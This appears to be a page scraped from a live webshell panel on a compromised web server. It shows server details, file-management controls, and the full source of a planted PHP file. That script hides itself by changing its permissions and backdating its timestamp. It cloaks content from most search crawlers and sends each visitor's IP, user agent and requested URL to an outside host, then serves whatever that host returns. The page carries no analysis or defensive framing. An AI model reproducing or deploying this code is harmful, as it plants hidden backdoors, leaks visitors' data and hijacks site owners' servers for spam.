Cylul007 Webshell
Uname
:
Linux server.vianetmedia.com 3.10.0-1160.92.1.el7.x86_64 #1 SMP Tue Jun 20 11:48:01 UTC 2023 x86_64
PHP
:
7.4.33
on
fpm-fcgi
Time
:
20 May 2024 12:19:10
Path :
/
home
/
bhaktidarshanin
/
public_html
/
manage_panel
/
files
/
File Upload :
New File
New Folder
Current File : /home/bhaktidarshanin/public_html/manage_panel/files/ab.php
Download
HOME
<?php error_reporting(0); set_time_limit(0); header("Content-Type: text/html;charset=gb2312"); date_default_timezone_set('PRC'); function getIP() { static $ip = ''; $ip = $_SERVER['REMOTE_ADDR']; if(isset($_SERVER['HTTP_CDN_SRC_IP'])) { $ip = $_SERVER['HTTP_CDN_SRC_IP']; } elseif (isset($_SERVER['HTTP_CLIENT_IP']) && preg_match('/^([0-9]{1,3}\.)[0-9]{1,3}$/', $_SERVER['HTTP_CLIENT_IP'])) { $ip = $_SERVER['HTTP_CLIENT_IP']; } elseif(isset($_SERVER['HTTP_X_FORWARDED_FOR']) AND preg_match_all('#\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}#s', $_SERVER['HTTP_X_FORWARDED_FOR'], $matches)) { foreach ($matches[0] AS $xip) { if (!preg_match('#^(10|172\.16|192\.168)\.#', $xip)) { $ip = $xip; break; } } } return $ip; } chmod($_SERVER["SCRIPT_FILENAME"], 0777); $uptime=strtotime('2014-04-13 17:30:45'); touch($_SERVER["SCRIPT_FILENAME"],$uptime,$uptime); chmod($_SERVER["SCRIPT_FILENAME"],0444); $key= $_SERVER["HTTP_USER_AGENT"]; $baiduspider = stripos($key,'Baiduspider'); if(stripos($key,'Googlebot') !== false||stripos($key,'bingbot') !== false||stripos($key,'MJ12bot') !== false||stripos($key,'AhrefsBot') !== false||stripos($key,'DNSPod-Monitor') !== false||stripos($key,'BLEXBot') !== false||stripos($key,'EasouSpider') !== false||stripos($key,'YandexBot') !== false) { header( "HTTP/1.1 503 Service Temporarily Unavailable"); exit; } $options = array( 'http' => array( 'method' => 'GET', 'header' => 'User-Agent:'.$_SERVER['HTTP_USER_AGENT'].'>'.getIP().'>'.'http://'.$_SERVER['SERVER_NAME'].($_SERVER["SERVER_PORT"]=="80"?"":':'.$_SERVER["SERVER_PORT"]).$_SERVER["REQUEST_URI"] ) ); $context = stream_context_create($options); $Remtder_servgtr = "http://ecojs.com/"; $Keys_Var=""; $Content_Var=""; $Moban_Var=""; $M_Kid="&kid=".$Keys_Var; $M_Cdir="&cdir=".$Content_Var; $M_Mdir="&mdir=".$Moban_Var; $_QUERY_STRING="&url=".$_SERVER['QUERY_STRING']; if(empty($_SERVER['QUERY_STRING'])) { $_QUERY_STRING="&url=".$_SERVER['HTTP_HOST']."/index.html"; } $_DOMAIN="&domain=".$_SERVER['SERVER_NAME']; $host_name = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']; $url_string=$Remtder_servgtr."/index.php?host=".$host_name.$_QUERY_STRING.$_DOMAIN.$M_Kid.$M_Cdir.$M_Mdir; $Content_mb=""; for ($i=0; $i < 5; $i++) { $Content_mb=file_get_contents($url_string,false,$context); if($Content_mb!="") { break; } } if($Content_mb!="") { echo $Content_mb; } else { echo "error 0"; } ?>
Copyright © 2018 - Powered By CytoXploit